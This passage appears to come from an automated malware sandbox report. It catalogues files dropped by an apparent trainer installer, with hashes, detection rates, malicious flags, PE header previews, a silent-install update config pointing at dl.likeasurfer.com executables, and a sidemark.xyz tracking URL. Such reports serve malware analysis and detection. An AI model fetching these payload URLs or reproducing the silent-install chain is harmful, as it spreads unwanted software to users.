Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\f8ae3ff9208f40498557bd32a49af540.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	unknown
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\ProgramData\AW Manager\Windows Manager\updates\updates.aiu.part

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	920
Entropy (8bit):	5.4890290129298585
Encrypted:	false
SSDEEP:	24:9GSJKKQ7+aLfSfLBoXSJwiFXfpaLfSfcB7:BMKC+aLKfLBbyiFXfpaLKfcB7
MD5:	509459CE0952B0856197848C14FA8DB6
SHA1:	925423CD81DFD5D1E385F72D7678887C93589B01
SHA-256:	5D9F04C032611A0FC5ED2E8B04B27C95D06AE5393BDE3A3503F8BB7DEF6454B6
SHA-512:	93D7CE10FBC92EE423CE45233F3F3614BA919C874DC52EF764776F8EE3068A1553B6E457A8BAB07CC01B0B5DDF626AD2CE9D97660BD91EED71F127CFB89E792B
Malicious:	false
Reputation:	unknown
Preview:	;aiu;..[v114].Name = Windows Installer.NoGUICommandLineSwitch = /exenoui /qn.ProductVersion = 5.0.4.0.URL = https://dl.likeasurfer.com/updates/v114.exe.Size = 4900680.SHA256 = B0E0AC83D5090C359F84AF160AEBA9BB7317D6D64372E4DEE980C7DC23FEFE41.MD5 = 5dc644e00d9553fc167cb649087b8089.ServerFileName = v114.exe.Flags = SilentInstall\|NoCache\|Advertises.RegistryKey = HKUD\Software\AdvancedWindowsManager\Windows Installer\Version.Version = 5.0.4.0.AutoCloseApplication = [APPDIR]AdvancedWindowsManager.exe..[v113].Name = Windows Installer.NoGUICommandLineSwitch = /exenoui /qn.ProductVersion = 5.0.3.0.URL = https://dl.likeasurfer.com/updates/v113.exe.Size = 3635424.MD5 = 8cad036c5cfed94d5319a060c488e38f.ServerFileName = v113.exe.Flags = SilentInstall\|NoCache\|Advertises.RegistryKey = HKUD\Software\AdvancedWindowsManager\Windows Installer\Version.Version = 5.0.3.0.AutoCloseApplication = [APPDIR]AdvancedWindowsManager.exe.

C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part

Download File

Process:	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3635424
Entropy (8bit):	7.194637165266501
Encrypted:	false
SSDEEP:	98304:KKC4/jxH8S506fsWCDIOX3LFiU+3xOfXLBnkGK+NXZi:L/jxH8SCixOPLBuG
MD5:	8CAD036C5CFED94D5319A060C488E38F
SHA1:	731455086204F014C97EA3C1483DD6029961FF27
SHA-256:	62F773773392C101F673A8D3DB805D5AA3A45DBBB12E2B32BC746470AC520B0F
SHA-512:	5E673DE5820EBD47238AD83F4D98AC5CFC5D6AE5FA4941E24FB38C98F84CB852A3B38DEB1E4E2243099FBDB0CFD646D1AD3CCEB4E1380636A94CDED62DC473A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 27%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C...-...-...-......-..(.j.-...)...-.......-...(...-..)...-..,...-..*...-...,...-...$...-......-.....-.../...-.Rich..-.................PE..L...<.\`.........."......l...B......H-............@........................... ......88...@..................................L..(........{..........h\7.x....P..........p...................@.......x...@...................p#..@....................text...?j.......l.................. ..`.rdata..8............p..............@..@.data...@n...`...T...N..............@....rsrc....{.......\|..................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part

Download File

Process:	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4900680
Entropy (8bit):	7.143984295613241
Encrypted:	false
SSDEEP:	98304:TYoIz3Q2HM5Qp4WzMIaX8/BG6v/IcV6V5LtYPPcsmVC:Ti3QDCpQaJGAI5aPPcRC
MD5:	5DC644E00D9553FC167CB649087B8089
SHA1:	753BB09D7A96622B76438017A7E413D45E6F66FA
SHA-256:	B0E0AC83D5090C359F84AF160AEBA9BB7317D6D64372E4DEE980C7DC23FEFE41
SHA-512:	CE9260F5F8F3E77A046F137DD0416D990FBADEE85D53005114696C8DCC34191E396A45E88977DD11EE87FE6E37A65E030F0B805B452F210C7E68DE1EFE92C954
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 59%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............S...S...SA..R...SA..R+..SA..R...S...R...S...R...S...R...SA..R...SA..R...SA..R...S...SO..S...R..S..=S...S..US...S...R...SRich...S................PE..L...G.gb..........".......!.........D.........!...@.........................../......K...@.................................$..(..................J.x.....-..[....$.p.....................$.......!.@.............!.......).`....................text.....!.......!................. ..`.rdata..di....!..j....!.............@..@.data.......0..j.................@....rsrc...............*.............@..@.reloc...[....-..\...D-.............@..B................................................................................................................................................................................................................................................................................

C:\Users\Default\AppData\Local\AdvinstAnalytics\57adf5f3482b9a503e2bed2b\5.0.3\tracking.ini

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	4.0081320258334
Encrypted:	false
SSDEEP:	3:1EyEMyvn:1BEN
MD5:	6BC190DD42A169DFA14515484427FC8E
SHA1:	B53BD614A834416E4A20292AA291A6D2FC221A5E
SHA-256:	B3395B660EB1EDB00FF91ECE4596E3ABE99FA558B149200F50AABF2CB77F5087
SHA-512:	5B7011ED628B673217695809A38A800E9C8A42CEB0C54AB6F8BC39DBA0745297A4FBD66D6B09188FCC952C08217152844DFC3ADA7CF468C3AAFCEC379C0B16B6
Malicious:	false
Reputation:	unknown
Preview:	[General]..Active = true..

C:\Users\Default\AppData\Local\AdvinstAnalytics\57adf5f3482b9a503e2bed2b\5.0.3\{8012E704-06BF-437A-86D5-0E2BF53D9C1F}.session

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13659
Entropy (8bit):	5.427218727765739
Encrypted:	false
SSDEEP:	96:294e4g7r34IG4PD4Ir4Mu4g40rN4H74ik074kdx4xq4P04Q041nk4IOk44pT4qnt:2bHagRkSoFm2SLufNRtX
MD5:	5DD6102606EBD978A563960E309C221E
SHA1:	419045F3BD9DCD018913D0F12DA952830CCF2789
SHA-256:	16D69F2EDA0258A35BBC8A384A7C603C344E6F1510752119FF8CF89D5DCEE111
SHA-512:	30A8E427ADFCC4C739AA21891133A4C3CA3D248D81FA5CEA56A984C05A0B7F33CD7CB57292ECEF163C7B1B03B72132969523299B85B7595A1D23113F4132F2DF
Malicious:	false
Reputation:	unknown
Preview:	[Hit {9F5B7133-C9E3-4DC8-B9D9-D1C1EE62B1ED}]..Queue Time = 16..Hit Type = lifecycle..Life control = start..Protocol Version = 3..Application ID = 57adf5f3482b9a503e2bed2b..Application Version = 5.0.3..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {8012E704-06BF-437A-86D5-0E2BF53D9C1F}....[Hit {9CD34C52-A80B-4857-ADCC-9A06417E39A3}]..Queue Time = 0..Hit Type = property..Label = VersionNT..Value = 1000..Protocol Version = 3..Application ID = 57adf5f3482b9a503e2bed2b..Application Version = 5.0.3..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {8012E704-06BF-437A-86D5-0E2BF53D9C1F}....[Hit {001A9656-C67C-4B85-BF4D-21C112734BC3}]..Queue Time = 0..Hit Type = property..Label = VersionNT64..Value = 1000..Protocol Version = 3..Application ID = 57adf5f3482b9a503e2bed2b..Application Version = 5.0.3..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {8012E704-06BF-437A-86D5-0E2BF53D9C1F}....[Hit {C72E773D-E4AC-4571-AD89-A9084743D302}]..Queu

C:\Users\Default\AppData\Local\AdvinstAnalytics\57bec79515c1ec525f8858bf\1.0.0\tracking.ini

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	4.0081320258334
Encrypted:	false
SSDEEP:	3:1EyEMyvn:1BEN
MD5:	6BC190DD42A169DFA14515484427FC8E
SHA1:	B53BD614A834416E4A20292AA291A6D2FC221A5E
SHA-256:	B3395B660EB1EDB00FF91ECE4596E3ABE99FA558B149200F50AABF2CB77F5087
SHA-512:	5B7011ED628B673217695809A38A800E9C8A42CEB0C54AB6F8BC39DBA0745297A4FBD66D6B09188FCC952C08217152844DFC3ADA7CF468C3AAFCEC379C0B16B6
Malicious:	false
Reputation:	unknown
Preview:	[General]..Active = true..

C:\Users\Default\AppData\Local\AdvinstAnalytics\57bec79515c1ec525f8858bf\1.0.0\{3D43209A-0F28-4542-B7EC-E1730F55EEC8}.session

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	955
Entropy (8bit):	5.3063424878537395
Encrypted:	false
SSDEEP:	24:5NxAiXRsE/jwyvEyiqjXRsE/jwbxMxlqeXRsE/jwt:5NHCQxjCayeCt
MD5:	DF812B13F87A8BE21F360FA519B1D089
SHA1:	D584F1A136F97ACE0D0B80797B1CE0C66A237148
SHA-256:	4301C4340F8F6658DEF70E5984A3FE7E1C40E51BEB34F45033D21907E5BBE0B9
SHA-512:	E98B671BAED1BA214C941F1CEF112E7BF95C3E069E4925619F3FC2B4DE1C6DF77DA3055433B376F214F3CFACC73D6F96F8DF64BA3A35940D9A9D36F8E963D31D
Malicious:	false
Reputation:	unknown
Preview:	[Hit {B2BC6A6D-0ECB-4EBE-AE39-39E286DBBC6A}]..Queue Time = 16..Hit Type = lifecycle..Life control = start..Protocol Version = 3..Application ID = 57bec79515c1ec525f8858bf..Application Version = 1.0.0..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {3D43209A-0F28-4542-B7EC-E1730F55EEC8}....[Hit {6E7C9C21-9814-432D-86AC-A838F58C871A}]..Queue Time = 0..Hit Type = installtype..Value = uninstallbyupgrade..Protocol Version = 3..Application ID = 57bec79515c1ec525f8858bf..Application Version = 1.0.0..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {3D43209A-0F28-4542-B7EC-E1730F55EEC8}....[Hit {418ACBFE-FE82-4FA5-8B27-2C298276DF03}]..Queue Time = 0..Hit Type = lifecycle..Life control = end..Life status = success..Protocol Version = 3..Application ID = 57bec79515c1ec525f8858bf..Application Version = 1.0.0..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {3D43209A-0F28-4542-B7EC-E1730F55EEC8}..

C:\Users\user\AppData\Local\AdvinstAnalytics\57bec79515c1ec525f8858bf\1.0.0\tracking.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	4.0081320258334
Encrypted:	false
SSDEEP:	3:1EyEMyvn:1BEN
MD5:	6BC190DD42A169DFA14515484427FC8E
SHA1:	B53BD614A834416E4A20292AA291A6D2FC221A5E
SHA-256:	B3395B660EB1EDB00FF91ECE4596E3ABE99FA558B149200F50AABF2CB77F5087
SHA-512:	5B7011ED628B673217695809A38A800E9C8A42CEB0C54AB6F8BC39DBA0745297A4FBD66D6B09188FCC952C08217152844DFC3ADA7CF468C3AAFCEC379C0B16B6
Malicious:	false
Reputation:	unknown
Preview:	[General]..Active = true..

C:\Users\user\AppData\Local\AdvinstAnalytics\57bec79515c1ec525f8858bf\1.0.0\{127393DE-997B-4FEB-A721-CD60F5521273}.session

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.266742894847657
Encrypted:	false
SSDEEP:	6:N0iUWWVrFsVnFCDjfpvgGDqGSbN7/F6Ss5dcb7Xjj3R522ANKFkAG:eiURVrWVFAjKGeGSbJkSsEfXjTOns9G
MD5:	21D2D12E9972CE9E5F21DEA6E1FB8331
SHA1:	FFCBF733022D25F3A98993D695856F54D41A6A39
SHA-256:	54CC0F8C7771FE73C249075BAC00FD8D06DEF6842A7917331775E29442B4FC48
SHA-512:	C005848EE25D3CA4AF3FFB2E0356A16CCEC78C6B403049CF752344483376C6E85F21AE45EA3F56BA194235877668A4B47A0419C0D7DC45E1E421904B81ECD1DF
Malicious:	false
Reputation:	unknown
Preview:	[Hit {1A632175-46B4-4280-95B2-4C0431511343}]..Queue Time = 0..Hit Type = lifecycle..Life control = end..Life status = success..Protocol Version = 3..Application ID = 57bec79515c1ec525f8858bf..Application Version = 1.0.0..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {127393DE-997B-4FEB-A721-CD60F5521273}..

C:\Users\user\AppData\Local\AdvinstAnalytics\57bec79515c1ec525f8858bf\1.0.0\{B1814F1C-5BBA-428D-BCAE-B6CCA32E5E4A}.session

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13304
Entropy (8bit):	5.398843362938325
Encrypted:	false
SSDEEP:	96:kliXXkSNrTolTcbd7I07C5GxEqBw0s0XnkaOkxTQmInLinhABn5In1pYE+kEoEXx:kIN00dsx5CLz75NpMiYQ0Rz
MD5:	EDF6E4CF9DCC602F764EF15747175E28
SHA1:	E4A34E6524F960BFFE3ED13CAD909BEEFE518ED4
SHA-256:	9B8367CD3435886A58E3FA95ACF644BC27C55E2D24A9A4C0B4BB3508FC6E3068
SHA-512:	20720809AC12F4E3994CC85D8D0A1DAC438FBBBE9378C5655254CE608CA47EB6971D2A9DFE8C27317D6B9743CED7BF95A52D82E1D84C10E23838BE128E50511F
Malicious:	false
Reputation:	unknown
Preview:	[Hit {BF84B307-55F8-472C-A444-E128EB77902D}]..Queue Time = 0..Hit Type = lifecycle..Life control = start..Protocol Version = 3..Application ID = 57bec79515c1ec525f8858bf..Application Version = 1.0.0..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {B1814F1C-5BBA-428D-BCAE-B6CCA32E5E4A}....[Hit {8EC87A13-1733-48AE-8D6D-2915EE4BF2B2}]..Queue Time = 0..Hit Type = property..Label = VersionNT..Value = 1000..Protocol Version = 3..Application ID = 57bec79515c1ec525f8858bf..Application Version = 1.0.0..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {B1814F1C-5BBA-428D-BCAE-B6CCA32E5E4A}....[Hit {E3C538DA-1C47-48AC-9086-4EB71872E01D}]..Queue Time = 0..Hit Type = property..Label = VersionNT64..Value = 1000..Protocol Version = 3..Application ID = 57bec79515c1ec525f8858bf..Application Version = 1.0.0..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {B1814F1C-5BBA-428D-BCAE-B6CCA32E5E4A}....[Hit {4B34E980-3814-4CE3-9ABA-6FF88699C206}]..Queue

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\loca[1].htm

Download File

Process:	C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	16
Entropy (8bit):	3.202819531114783
Encrypted:	false
SSDEEP:	3:avXGS4f:aO1
MD5:	2C058EBACB1F52A22B32F432C8F83C24
SHA1:	D3F03BFB7A8843A7FA5E0A17065429DD9B41591C
SHA-256:	196096D1EC38523F3B28A201B214A22D24602A2EFEB5181E11FC503FBF298529
SHA-512:	849EF2428867E5F9DDB4F7297782B752D73E7A895DE808E9AF6A85911263859AE1117AD8C4CF07BDF714EBADC922344EE74722DC3884AC19DB100EAFFE5A29E7
Malicious:	false
Reputation:	unknown
Preview:	38.9072,-77.0369

C:\Users\user\AppData\Local\Temp\INAF75B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIF8B5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIF9EE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	935952
Entropy (8bit):	6.465848738967934
Encrypted:	false
SSDEEP:	24576:w327CUJc4RQ8Btk8Y5EiwB4aNXVW+hv+AhiC:cAc4RQ8BtDAoB4aNXVW+hv+AhiC
MD5:	91D4A8C2C296EF53DD8C01B9AF69B735
SHA1:	AD2E5311A0F2DBBA988FBDB6FCF70034FDA3920D
SHA-256:	A787E7A1AD12783FCBF3F853940590329E0FF0DDDF17282324F2D95ED6408F23
SHA-512:	63C5506A55DEA2B3BD1C99B79B5668F5AFC0104564E92F07AFB42F2F2B67EAE9D0E0174CB36E6095A27A6C71496206042079B6E5A2B2FF787F3CB9EF20995E9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........:b..[...[...[..7)...[..7)..Q[..#...[..#...[..#..[..7)...[..7)...[...[...Z..d"...[..d"...[..d"...[...[...[..d"...[..Rich.[..........PE..L...!.gb.........."!................ ........................................p......,.....@.........................0\|..t....\|.......`...............*.......p.......,..p...................@-.......+..@............................................text...N........................... ..`.rdata..T...........................@..@.data...T............x..............@....rsrc........`.......,..............@..@.reloc.......p.......2..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0270L.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0270L.tmp\is-04ME8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5135320
Entropy (8bit):	7.8968119558461325
Encrypted:	false
SSDEEP:	98304:ykLcpls+yc8Gr0ZjL7uWOm6qCNqjdySicpxXHR1fSd2x1t29s4C1eH9R:dcPs+ycFI5LasRCIDDHRdPt5o9R
MD5:	8657D8F7608F1E03726F5B0256869C66
SHA1:	48DAAFF8F1D014935AE4FDE09159F3A1FACC59C5
SHA-256:	8CBD1F1A5462EE8FD5532C3DA36FBB62F409F3477DE5A9C7F6404B1D68A6D647
SHA-512:	82D61C0C405633927DE575037853C30ADC1C8655BEBFB78CFEE3C6B7999ABF0D5F83A426659AE779D5F8F8B6E38AB0AB961EC57723C081946D8F2A435989B8AC
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................R...^.......^.......p....@.......................................@......@...................@....... .......p.......................................................`......................."..T....0.......................text....9.......:.................. ..`.itext.......P.......>.............. ..`.data....7...p...8...V..............@....bss.....m...............................idata....... ......................@....didata......0......................@....edata.......@......................@..@.tls.........P...........................rdata..]....`......................@..@.rsrc........p......................@..@....................................@..@........................................................

C:\Users\user\AppData\Local\Temp\is-0270L.tmp\is-B9OFN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	unknown
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-0270L.tmp\is-E7MI7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	152
Entropy (8bit):	5.450961215679423
Encrypted:	false
SSDEEP:	3:N1KNMBwFfOYKrZK3VVeR3hX/+39EgisUHHOW8dfD9/QVomUdnU:CemFfH3V4E39WJ5sJ/NdU
MD5:	9B2B1A18864699EF1ABF88166856C51C
SHA1:	C232CA7ED6B95CA760D233B7A8E77CD07A2CBCE1
SHA-256:	C2DD7D5E353CE47745640112598A15FB94B88019AA87EC052ADF9D205D33695C
SHA-512:	0C1D414ED6B72E2EF3217AD39E6AD3D9AF460987C3FA29F245A36E79124EA9A8F424F2FF868BC367F6E44DAA0D6DF83CE99D813489D5A69D7CEBB1331303CB38
Malicious:	false
Reputation:	unknown
Preview:	http://sidemark.xyz/pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701869581

C:\Users\user\AppData\Local\Temp\is-53US7.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11087839
Entropy (8bit):	7.970064712035176
Encrypted:	false
SSDEEP:	196608:dUYE3u0TBI+XtXkIuujvX2yIo+DHA/wiSXM4YwWu/wjpC1SR/tt5o9S:qYuuI9XKIuuTbznYMtIWESRBo9S
MD5:	5AFE9D5A2BCC39B1E0573A77EFBE82B7
SHA1:	30D663A3516B4D34033DCF9FE7CE86FBA7D1299B
SHA-256:	C1076F9C4A3C06759B21E0E138DD640B2E5412DB4EA4EE16D7E9A0ABF663D25C
SHA-512:	A72C40355C391C3C1A4D64BBBB8CF7F9B46E62F804A04FFD843FE5EF313408E01BEC0E09D9777CBEC0780FFCFD83A070FA02D0C58F405D89E356FE143073DC5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................R...^.......^.......p....@.......................................@......@...................@....... .......p.......................................................`......................."..T....0.......................text....9.......:.................. ..`.itext.......P.......>.............. ..`.data....7...p...8...V..............@....bss.....m...............................idata....... ......................@....didata......0......................@....edata.......@......................@..@.tls.........P...........................rdata..]....`......................@..@.rsrc........p......................@..@....................................@..@........................................................

